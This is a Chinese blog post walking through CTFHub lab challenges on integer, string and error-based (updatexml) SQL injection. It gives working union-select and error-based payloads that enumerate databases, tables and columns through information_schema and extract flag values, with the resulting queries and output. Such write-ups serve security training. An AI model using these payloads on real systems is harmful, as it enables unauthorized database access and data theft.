zoukankan      html  css  js  c++  java
  • [ctfhub]SQL注入

    今天在ctfhub整理了几个sql注入的解题过程,还算是比较详细的。

    知识点都是比较常见的:每个题大致涉及的知识点用一张表格解释

    !注:下方的 information_schema.xxxxxxxxxxxxxx皆表示 information_schema库下的表

    如:schemata、tables等,不作特殊说明的都指information库下的数据表

    还有此处的题是ctfhub整合好的,所以所有的数据库和表包括字段名都一样,不要偷懒。

    关键字/语句/函数 解释
    union select 联合查询,联合注入常用
    database() 回显当前连接的数据库
    version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
    group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
    information_schema 存了很多mysql信息的数据库
    information_schema.schemata information_schema库的一个表,名为schemata
    schema_name schemata表中存储mysql所有数据库名字的字段
    information_schema.tables 存了mysql所有的表
    table_schema tables表中存每个表对应的数据库名的字段
    table_name 表的名字和table_schema一一对应
    information_schema.columns columns表存了所有的列的信息4
    column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
    table_name 表的名字和column_name一一对应
    select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
    right(str, num) 字符串从右开始截取num个字符
    left(str,num) 同理:字符串从左开始截取num个字符
    substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

    SQL整数型注入

    1. 爆当前数据库
    4 union select 3,database()
    
    > `select * from news where id=4 union select 3,database()`
    > ID: 3
    > Data: sqli
    

    1. 根据information_schema.schemata爆所有的数据库
       4 union select 3,group_concat(schema_name) from information_schema.schemata
    

    select * from news where id=4 union select 3,group_concat(schema_name) from information_schema.schemata
    ID: 3
    Data: information_schema,mysql,performance_schema,sqli

    1. 根据 information_schema.tables 和 已知的数据库名sqli爆表名
    4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
    

    select * from news where id=4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
    ID: 3
    Data: news,flag

    1. 知道了flag表,就去爆爆字段根据 information_schema.columns 和 flag 表名
    4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
    

    select * from news where id=4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
    ID: 3
    Data: flag

    5.知道了flag字段就好说了,直接查里面的内容吧

    4 union select 3,group_concat(flag) from sqli.flag
    

    select * from news where id=4 union select 3,group_concat(flag) from sqli.flag
    ID: 3
    Data: ctfhub{cf0c7df79d5f387aca776784bb5cfaebf98980f0}


    SQL 字符型注入

    1. 爆列数,不过也不用爆了,因为回显就两列 :ID、DATA
    3' union select database(),version() #
    

    1. 爆库名
    3' union select database(),group_concat(schema_name) from information_schema.schemata #
    

    回显:数据库名字sqli

    select * from news where id='3' union select database(),group_concat(schema_name) from information_schema.schemata #'
    ID: sqli
    Data: information_schema,performance_schema,mysql,sqli

    1. 爆列名
    3' union select database(),group_concat(table_name) from 
    information_schema.tables where table_schema='sqli' #
    

    回显表名:flag

    select * from news where id='3' union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #
    ID: sqli
    Data: news,flag

    1. 爆字段名
    3' union select database(),group_concat(column_name) from 
    information_schema.columns where table_name='flag' #
    

    回显字段名:flag
    select * from news where id='3' union select database(),group_concat(column_name) from information_schema.columns where table_name='flag' #'
    ID: sqli
    Data: flag

    1. 爆字段名
    3' union select database(),group_concat(flag) from sqli.flag #'
    

    select * from news where id='' union select database(),group_concat(flag) from sqli.flag #'
    ID: sqli
    Data: ctfhub{4f0e4923b55e73aa9a1a5fd66fb88b13a1e9e7f2}


    SQL报错注入

    1. 爆当前数据库
    1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #
    

    1. 爆所有数据库,注意要用括号包起来那一行
    1 union select updatexml(1,concat(0x7e,
    (select(group_concat(schema_name))from information_schema.schemata) 
    ,0x7e),1); #
    

    回显所有数据库的部分,发现没有回显sqli的名字,所以肯定是回显的长度受限,之前用到过,substr,left ,mid ,和right函数

    select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #
    查询错误: XPATH syntax error: '~information_schema,mysql,perfor'

    注意回显得字符最大长度:32个

    1. 爆右边的31个字符,发现了重叠,
    1 union select updatexml(1,concat(0x7e,right( 
    (select(group_concat(schema_name))from information_schema.schemata)
    ,31 ),0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(schema_name))from information_schema.schemata) ,31) ,0x7e),1); #
    查询错误: XPATH syntax error: '~a,mysql,performance_schema,sqli'

    所以总共:information_schema,mysql,performance_schema,sqli四个数据库

    1. 爆表
    1 union select updatexml(1,concat(0x7e,
    (select(group_concat(table_name))from information_schema.tables where table_schema="sqli")
    ,0x7e),1); #
    
    > `select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1); #`
    > 查询错误: XPATH syntax error: '~news,flag~'
    
    1. 爆列名
    1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
    查询错误: XPATH syntax error: 'flag'

    1. 爆内容

    一部分flag:

    1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
    查询错误: XPATH syntax error: '~ctfhub{2333ee20c980f72952ce65c4'

    另一部分flag:

    1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
    查询错误: XPATH syntax error: '~80f72952ce65c494ec82b147e9940d}'

    拼接flag:ctfhub{2333ee20c980f72952ce65c494ec82b147e9940d}

  • 相关阅读:
    正则表达式语法
    flask 保存文件到 七牛云
    flask保存 文件到本地
    在文件保存中 os.getcwd() os.listdir() os.makedirs() os.mkdir() xx.join() ... 等函数 的使用介绍
    插件 DataTable 创建列表 render参数的详解与如何传递本行数据id
    日历插件bootstrap-datetimepicker的使用感悟
    Navicat for MySQL 安装和破解
    数据库迁移(创建关联等操作) Target database is not up to date报错
    dataTable之自定义按钮实现全表 复制 打印 导出 重载
    创建简单的表单Demo
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12556286.html
Copyright © 2011-2022 走看看